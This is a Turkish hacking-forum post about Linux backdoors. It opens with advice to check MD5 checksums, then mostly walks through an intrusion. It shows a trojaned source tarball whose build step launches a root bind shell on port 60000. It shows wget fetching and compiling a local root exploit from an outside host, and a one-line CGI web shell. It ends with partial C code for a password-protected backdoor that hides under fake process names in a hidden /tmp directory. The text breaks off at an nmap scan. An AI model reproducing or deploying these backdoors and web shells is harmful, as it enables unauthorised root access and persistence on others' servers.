LINUX Güvenlik Açıkları

ByCrauSeRs

Kıdemli Üye
22 Eyl 2007
2,642
9
THT KaLıcı KonutLarı
LINUX Güvenlik Açıkları

Arkakapılar sistemin güvenlik çemberinde ne derece düzensizlikler oluştururlar?
Bu düzensizliğin boyutu nedir?
Sistem yöneticisi arkakapının varlığını nasıl anlayabilir?
Yoksa benim yönettiğim sisteme kimse girip delik açamaz mı diyorsunuz?


Bilgi, ulaşmak istediği hedefteki kapıda, küçük aralık bulduğu anda bu aralıktan kendisini
hedefe doğru bırakır. "Kapıda neden aralık var?" suallini sormadan içeri süzülür.
Bilgilerinizi, bahçesini davetsiz misafirlere karşı dikenli tellerle koruyan bir kişi
gibi güvenlik çemberiyle koruyabilirsiniz.
Fakat sisteminize saygıdeğer bir misafir gibi gelip, sonra sizin rızanız olmadan
sisteminizi tekrar ziyaret etmek isteyebilir(Kesin bu misafire dalgınlıkla şekerleme sundunuz).
Neticesinde ozenle duzenlediğiniz bahçeniz bir anda istemediğiniz bir boyuta gelebilir.
En değerli ürünleriniz yani özenle bakıp büyüttüğünüz bilgileriniz bir anda başka bahçelerde
bulunabilir. Hemde ürününüzün hangi ellere geçtiğini bilmeden.

Eğer bilgileriniz değerliyse(bilginin değersizi olur mu bilmem?) bunların çevresini
kuşatan telleri devamlı kontrol etmek sizi rahatlatır. Kontrolleriniz esnasında bu tellerin
en küçük bir yerinde pas gördüğünüz anda gerekli bakımı yapmak bahçenizin yeşilliğini
koruyacaktır.

Sistemimize bir sürü dosya yükleriz. Bazen, yüklediğimiz dosyaların yaratacağı sorunları
düşünmeden sisteme kurarız. Ya unutkanlıktan yada üşengeçlikten sisteme indirilen
yazılımların güvenilirlik kontrollerini yapmayız. Kimbilir belki gönül rahatlığıyla
kurduğunuz dosyaların sisteminizde bir arkakapı oluşturma olasılığını gözardı ediyorsunuzdur.

Yazılımın Web sitesinde belirtilen MD5 kontrolu:
file.tar.gz
18a8284860c5c9940c57e03aac4a9911

Bizim yaptığımız file.tar.gz'nin kontrolu:
$ md5sum file.tar.gz
64dc31bf20ace98a7200d39da7d0d1a2

Sonuçlar farklı. Üstünde düşünülmesi gereken bir durum. Dikkat!!!!
Üşenip md5 kontrolunu yapmadan, çektiğimiz dosyayı sisteme kurduğumuzu düşünelim.

[[email protected] Kod]# tar zxvf file.tar.gz
file
file/getconn.c
file/Makefile
file/config.c
file/main.c
file/common.h
file/file.c

[[email protected] file]# make
cc -Wall -g `l****t-config --cflags --defines` -c getconn.c
getconn.c: In function `getconn':
getconn.c:30: warning: implicit declaration of function `exit'
cc config.c -o config
./config &
cc -Wall -g `l****t-config --cflags --defines` -c main.c
cc -Wall -g `l****t-config --cflags --defines` -c file.c
cc -o file getconn.o main.o file.o -L/usr/local/lib -lpcap `l****t-config --libs`

Dikkatli kullanıcı hemen ./config & satırını görünce bir anda şüpheye düşer.
Bu config.c isimli dosya incelendiğinde sistemde arka kapıya neden olan kod olduğu
anlaşılır.

[[email protected] file]# pico config.c

...
...
#define port 60000
#define shell "/bin/sh"
...
...
execl(shell,shell,(char *)0);
...
...

Bu açık portu fark eden kişi:

[[email protected] yabanci]$ telnet eregli.sistem 60000

Trying eregli.sistem...
Connected to eregli.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.

id;
uid=0(root) gid=0(root) groups=0(root) <-- arka kapı sınırları yeniden çizer.
-- dosya root yetkisiyle kurulduğundan
-- sistem yöneticisine tozlu rüyalar gördürür.



Eğer bu file.tar.gz isimli dosyayı herhangi bir kullanıcı(root yetkisine sahip olmayan)
sisteme kurduysa;

[[email protected] yabanci]$ telnet eregli.sistem 60000

Trying eregli.sistem...
Connected to eregli.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.

id;
uid=501(k.mi) gid=501(k.mi) groups=501(student) <-- normal kullanıcı modunda.
-- Saldırgan sistemde root
-- olmak için elinden geleni
-- yapmaya calışacaktır.
uname -a;
Linux eregli.sistem 2.4.18-6mdk #1 Fri Mar 15 02:59:08 CET 2002 i686 unknown

cat /etc/redhat-release;
Mandrake Linux release 8.2 (Bluebird) for i586

cd /tmp;

pwd;
/tmp

/usr/bin/wget https://tik.lat/6WYwW
--00:58:43-- https://tik.lat/xAkCy
=> `op_beni.c'
Connecting to exploit.sitesi:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,767 [text/plain]

0K ...... 100%

00:58:43 .....`op_beni.c' saved [6767/6767]

ls;
dcopGByrhp
dcopYfUXJw
kde-root
ksocket-root
mcop-root
op_beni.c <-- Sisteme indirilip derlenmek istenen dosya.

/bin/gcc -o op_beni op_beni.c;
ls;
dcopGByrhp
dcopYfUXJw
kde-root
ksocket-root
mcop-root
op_beni <-- Derlenmiş hali.
op_beni.c

./op_beni; <-- Exploit çalıştırılıyor.
[*] Wait ....
[*] Wait ......
[*] muck ... muck ... muck ... muck
[*] Bingo
smiley.gif


id;
uid=0(root) gid=0(root) groups=0(root) <-- Sınırları zorlama zamanı
img-wink.gif



Sisteminize ait herhangi bir kullanıcının şifresini elde eden saldırgan, sisteme
tekrar bağlanmak için(özellikle şifre değişmesi halinde) sistemde arka kapı bırakma
olasılığı fazladır. Bu arka kapının türü tamamıyla saldırganın hayal gücüne kalmıştır.
Saldırganın gerçekleştirebileceği arka kapılardan bazıları:
- Belli süre zarfında içinde geçerli olacak arka kapı açma
- Herhangi bir servis açma
- Kernel arka kapıları
- Dosyaların içine gizlenilen arka kapılar
- Rootkitlerin yardımıyla kurulan arka kapılar

Saldırganın amacı(hepsi için geçerli değil) elindeki güzellikleri kaybetse de sistemde
olabildiğince uzun yaşamak.

Ayrıca sunucuda gezinen bir davetsiz misafir .php .cgi tipi kodlarla sistemde bir gedik
oluşturabilir.
Örnegin;
Aşağıdaki komut.cgi isimli dosyayı sunucunun /cgi-bin dizinine yükleyen misafir, Web
göstericiler üzerinden sistemde kodlarda çalıştırabilir.

#komut.cgi
#!/bin/sh
echo Content-type: text/html
echo
echo "<pre>"
$*


[[email protected] eregli]$ lynx https://tik.lat/l7TiI

Bastille
DIR_COLORS
X11
adjtime
aliases
aliases.db
alternatives
anacrontab
apcupsd
at.deny
bashrc
conf.linuxconf
..
..
-- press space for next page --
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

Davetsiz misafir, sistem yöneticisi durumuna geldiğinde tekrar sisteme bağlanmak
istediğinde yapacağı eğilimlerden biri olarak sistemde açık kapı bırakmak olduğunu
belirtmiştim. Bıraktığı açık kapıdan sisteme sadece kendisi bağlanabilmesi için kapıya
kilit yani şifre koyar. şifre girildiğinde kapı ardına kadar açılır ve parmaklarıyla
sistemde gezinmeye başlar. Saldırgan, sistem yöneticisinin, sistemde calışan uygulamaları
görmek istemesi durumunda sahte isimlerle karşılaşması için açık kapı bırakan
uygulamalarda kod değişikliği yapabilir.

#include <sys/socket.h>
#include <netinet/in.h>
....
#define SHELL "/bin/sh"
#define SARG "-i"
#define PASSWD "ACIL_KAPI"
#define PORT 6767
#define FAKEPS "httpd"
#define SHELLPS "klogd"
...
int main (int argc, char *argv[])
{
...
static char *pass = PASSWD;
...
strcpy(argv[0], FAKEPS);
signal(SIGCHLD, SIG_IGN);
if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) == -1) exit (-1);
...
execv(SHELL, sargv);
...
exit(0);
}

[[email protected] eregli]$ ssh -l avicenna arkakapili.sistem
[email protected]'s password:
Last login: Mon Apr 14 01:52:00 2003 from xxx.yyy.zzz.ttt
[[email protected] avicenna]$ cd /tmp
[[email protected] tmp]$ mkdir .mail
[[email protected] tmp]$ cd .mail
[[email protected] .mail]$ cat > net.c
#include <sys/socket.h>
#include <netinet/in.h>
....
#define SHELL "/bin/sh"
#define SARG "-i"
#define PASSWD "ACIL_KAPI"
#define PORT 6767
#define FAKEPS "httpd"
#define SHELLPS "klogd"
...
int main (int argc, char *argv[])
{
...
static char *pass = PASSWD;
...

[[email protected] .mail]$ gcc -o net net.c

Bu esnada saldırgan sisteme root olarak girmek için açık kapıyı root durumda bırakmak
isteyecektir. Bu nedenle normal kullanıcıdan root moduna geçmek için exploitleri deneyecektir.
Yani anlayacağınız sistem, sıfırdan vurulmak için bir deneme tahtası olacaktır(uid=0).
Hedefi sıfırdan vurduğunda açık kapı bırakma işlemi başlamıştır.
[[email protected] .mail]# ./net &

Sistemde açık kapı bırakılmadan önce yapılan port taramasının sonucu:
[[email protected] eregli]# nmap -p 1-10000 arkakapili.sistem

Starting nmap V. 2.54BETA30 ( Nmap - Free Security Scanner For Network Exploration & Security Audits.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.